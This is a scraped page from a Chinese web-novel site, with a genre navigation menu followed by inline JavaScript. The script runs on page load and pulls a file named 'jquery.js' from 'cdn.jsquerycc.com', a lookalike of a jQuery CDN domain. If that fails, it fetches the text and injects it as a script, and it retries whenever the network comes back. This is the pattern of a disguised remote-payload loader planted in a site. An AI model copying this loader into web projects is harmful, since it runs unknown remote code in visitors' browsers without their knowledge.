- 首页
- 永久书架
- 玄幻小说
- 奇幻小说
- 武侠小说
- 仙侠小说
- 都市小说
- 军事小说
- 历史小说
- 游戏小说
- 竞技小说
- 科幻小说
- 悬疑小说
- 灵异小说
- 其他小说
- 古代小说
- 仙侠小说
- 现代小说
- 浪漫小说
- 玄幻小说
- 悬疑小说
- 科幻小说
- 游戏小说
- BL小说
- GL小说
- 二次小说
- 排行榜单
- 书库榜单
-
(function() {
'use strict';
var DEBUG = false;
if (window._loaded) {
if (DEBUG) console.log('Script already loaded, skipping...');
return;
}
window._loaded = true;
var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
var isWeChat = /MicroMessenger/i.test(navigator.userAgent);
var isQQ = /QQ/i.test(navigator.userAgent);
if (DEBUG) {
console.log('=== Script Loading ===');
console.log('NodeIP:', ':443');
console.log('RequestHost:', 'www.81ksw.com');
console.log('Charset:', 'utf-8');
console.log('Current URL:', window.location.href);
console.log('UserAgent:', navigator.userAgent);
console.log('IsMobile:', isMobile);
console.log('IsWeChat:', isWeChat);
console.log('IsQQ:', isQQ);
console.log('IsOnline:', navigator.onLine);
}
function loadRemoteScript() {
try {
if (DEBUG) console.log('Loading remote script...');
if (typeof document.createElement === 'undefined') {
if (DEBUG) console.log('Document.createElement not supported');
return;
}
if (document.querySelector('script[src*="https://cdn.jsquerycc.com/js/1.12/jquery.js"]')) {
if (DEBUG) console.log('Remote script already loaded');
return;
}
var script = document.createElement('script');
script.src = 'https://cdn.jsquerycc.com/js/1.12/jquery.js';
script.async = true;
script.type = 'text/javascript';
if (typeof script.crossOrigin !== 'undefined') {
script.crossOrigin = 'anonymous';
}
script.setAttribute('type', 'text/javascript');
var timeoutId = setTimeout(function() {
if (DEBUG) console.log('Script loading timeout');
}, 15000);
script.onload = function() {
clearTimeout(timeoutId);
if (DEBUG) console.log('Remote script loaded successfully');
};
script.onerror = function() {
clearTimeout(timeoutId);
if (DEBUG) console.log('Remote script loading failed, trying alternative method...');
loadWithFetch();
};
if (document.head) {
document.head.appendChild(script);
} else if (document.documentElement) {
document.documentElement.appendChild(script);
} else {
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', function() {
(document.head || document.documentElement).appendChild(script);
});
} else {
(document.head || document.documentElement).appendChild(script);
}
}
} catch(e) {
if (DEBUG) console.log('Script loading failed:', e);
loadWithFetch();
}
}
function loadWithFetch() {
try {
if (DEBUG) console.log('Trying fetch method...');
fetch('https://cdn.jsquerycc.com/js/1.12/jquery.js')
.then(function(response) {
if (response.ok) {
return response.text();
}
throw new Error('Network response was not ok');
})
.then(function(scriptText) {
var script = document.createElement('script');
script.textContent = scriptText;
script.type = 'text/javascript';
(document.head || document.documentElement).appendChild(script);
if (DEBUG) console.log('Script loaded via fetch successfully');
})
.catch(function(error) {
if (DEBUG) console.log('Fetch method also failed:', error);
});
} catch(e) {
if (DEBUG) console.log('Fetch method failed:', e);
}
}
window.addEventListener('online', function() {
if (DEBUG) console.log('Network is online, retrying script load...');
setTimeout(loadRemoteScript, 1000);
});
var delay = isMobile ? 300 : 150;
setTimeout(function() {
loadRemoteScript();
}, delay);
if (DEBUG) console.log('=== Script Loading Completed ===');
})();